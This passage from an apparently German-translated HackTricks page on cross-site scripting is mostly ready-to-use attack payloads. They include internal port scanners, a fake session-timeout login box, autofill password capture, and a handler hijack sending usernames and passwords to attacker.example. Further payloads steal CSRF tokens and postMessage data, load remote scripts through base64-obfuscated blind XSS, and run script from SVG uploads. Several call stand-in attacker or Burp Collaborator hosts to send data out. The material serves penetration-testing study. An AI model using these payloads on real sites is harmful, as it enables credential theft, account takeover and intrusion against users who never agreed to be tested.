if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kurze Zeiten deuten auf einen antwortenden Port hin Längere Zeiten deuten auf keine Antwort hin.

Überprüfe die Liste der in Chrome gesperrten Ports here und in Firefox here.

Box zum Anfordern von Zugangsdaten

html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Auto-fill-Passwörter erfassen

javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Wenn beliebige Daten in das Passwortfeld eingegeben werden, werden Benutzername und Passwort an den Server des Angreifers gesendet; selbst wenn der Client ein gespeichertes Passwort auswählt und nichts eintippt, werden die credentials ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

Wenn ein kritischer Handler (z. B. function DoLogin(){...}) später auf der Seite deklariert wird und dein payload früher ausgeführt wird (z. B. via an inline JS-in-JS sink), definiere zuerst ein const mit demselben Namen, um den Handler vorwegzunehmen und zu sperren. Spätere Funktionsdeklarationen können einen const-Namen nicht neu binden, wodurch dein Hook die Kontrolle behält:

javascript
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Hinweise

  • Dies hängt von der Ausführungsreihenfolge ab: Ihre injection muss vor der legitimen Deklaration ausgeführt werden.
  • Wenn Ihr payload in eval(...) eingebettet ist, werden const/let-Bindings nicht zu globals. Verwenden Sie die dynamische <script>-Injection-Technik aus dem Abschnitt “Deliverable payloads with eval(atob()) and scope nuances”, um ein echtes globales, nicht neu-bindbares Binding sicherzustellen.
  • Wenn Keyword-Filter Code blockieren, kombinieren Sie dies mit Unicode-escaped identifiers oder eval(atob('...'))-Delivery, wie oben gezeigt.

Keylogger

Bei einer Suche auf github habe ich einige verschiedene gefunden:

Stealing CSRF tokens

javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

PostMessage-Nachrichten stehlen

html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Missbrauch von Service Workers

Abusing Service Workers

Zugriff auf Shadow DOM

Shadow DOM

Polyglots

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt

Blind XSS payloads

Sie können auch verwenden: https://xsshunter.com/

html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Zugriff auf versteckte Inhalte

Aus diesem Writeup lässt sich lernen, dass selbst wenn einige Werte aus JS verschwinden, man sie dennoch in JS-Attributen verschiedener Objekte finden kann. Zum Beispiel kann eine Eingabe eines REGEX weiterhin gefunden werden, nachdem der Wert der Regex-Eingabe entfernt wurde:

javascript
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force Liste

Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

XSS Ausnutzung anderer Schwachstellen

XSS in Markdown

Kann man Markdown-Code injizieren, der gerendert wird? Vielleicht kannst du XSS bekommen! Siehe:

XSS in Markdown

XSS zu SSRF

Hast du XSS auf einer Site, die Caching verwendet? Versuche, das auf SSRF zu upgraden mittels Edge Side Include Injection mit diesem payload:

python
<esi:include src="http://yoursite.com/capture" />

Use it to bypass cookie restrictions, XSS filters and much more!
Mehr Informationen zu dieser Technik hier: XSLT.

XSS in dynamically erzeugtem PDF

Wenn eine Webseite ein PDF aus nutzergesteuerten Eingaben erstellt, kannst du versuchen, den Bot, der das PDF erstellt, zu täuschen, sodass er beliebigen JS-Code ausführt.
Wenn der PDF-Creator-Bot findet irgendwelche HTML tags, wird er diese interpretieren, und du kannst dieses Verhalten missbrauchen, um ein Server XSS zu verursachen.

Server Side XSS (Dynamic PDF)

Wenn du keine HTML tags injizieren kannst, kann es sich lohnen, zu versuchen, PDF-Daten zu injizieren:

PDF Injection

XSS in Amp4Email

AMP, das darauf abzielt, die Leistung von Webseiten auf mobilen Geräten zu beschleunigen, verwendet HTML tags ergänzt durch JavaScript, um Funktionalität mit Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Features, die über AMP components zugänglich sind.

Das AMP for Email Format erweitert bestimmte AMP-Komponenten für E-Mails und ermöglicht Empfängern, direkt innerhalb ihrer E-Mails mit Inhalten zu interagieren.

Beispiel: writeup XSS in Amp4Email in Gmail.

XSS uploading files (svg)

Lade als Bild eine Datei wie die folgende hoch (von http://ghostlulz.com/xss-svg/):

html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Finde mehr SVG payloads auf https://github.com/allanlw/svg-cheatsheet

Verschiedene JS-Tricks & Relevante Infos

Misc JS Tricks & Relevant Info

XSS-Ressourcen

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks